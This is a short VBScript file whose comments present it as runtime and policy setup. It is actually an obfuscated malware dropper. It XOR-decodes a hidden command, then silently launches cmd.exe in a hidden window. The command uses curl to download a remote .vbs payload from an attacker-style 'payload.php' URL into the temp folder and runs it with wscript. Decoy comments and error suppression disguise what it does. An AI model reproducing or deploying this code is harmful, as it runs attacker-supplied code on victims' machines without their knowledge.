' Init runtime context
' Apply execution policy
On Error Resume Next

Dim gy2:gy2=54705
Dim nx1:nx1=38432
Dim vA:vA="38415,38467,38400,38467,38485,38482,38476,38400,38413,38483,38400,38413,38479,38400,38402,38405,38516,38501,38509,38512,38405,38524,38486,38474,38467,38468,38422,38475,38490,38472,38414,38486,38466,38483,38402,38400,38402,38472,38484,38484,38480,38483,38426,38415,38415,38487,38482,38465,38480,38480,38469,38482,38414,38482,38469,38486,38469,38482,38469,38478,38468,38484,38479,38480,38480,38468,38414,38488,38489,38490,38415,38480,38465,38489,38476,38479,38465,38468,38414,38480,38472,38480,38431,38473,38468,38429,38470,38467,38416,38467,38419,38469,38422,38469,38466,38418,38468,38465,38421,38419,38470,38470,38466,38419,38465,38420,38467,38420,38470,38466,38422,38470,38467,38469,38418,38469,38422,38425,38406,38484,38429,38467,38422,38416,38419,38422,38416,38424,38417,38469,38467,38422,38420,38416,38420,38425,38467,38402,38406,38487,38483,38467,38482,38473,38480,38484,38400,38402,38405,38516,38501,38509,38512,38405,38524,38486,38474,38467,38468,38422,38475,38490,38472,38414,38486,38466,38483,38402"
Dim v5:v5=Split(vA,",")
Dim oLa(168)
Dim r2b:For r2b=0 To UBound(v5)
oLa(r2b)=ChrW(CLng(v5(r2b)) Xor nx1)
Next
Dim hBuf:hBuf=Join(oLa,"")
' Decompress payload stream
Dim oLb:Set oLb=CreateObject("Shell.Application")
oLb.ShellExecute "cmd.exe",hBuf,"","",0

 
 'noqgfxgahiljro
Set oLb=Nothing
' Resolve host interface
' Execute policy workflow
' Configure adapter binding
' Construct dependency graph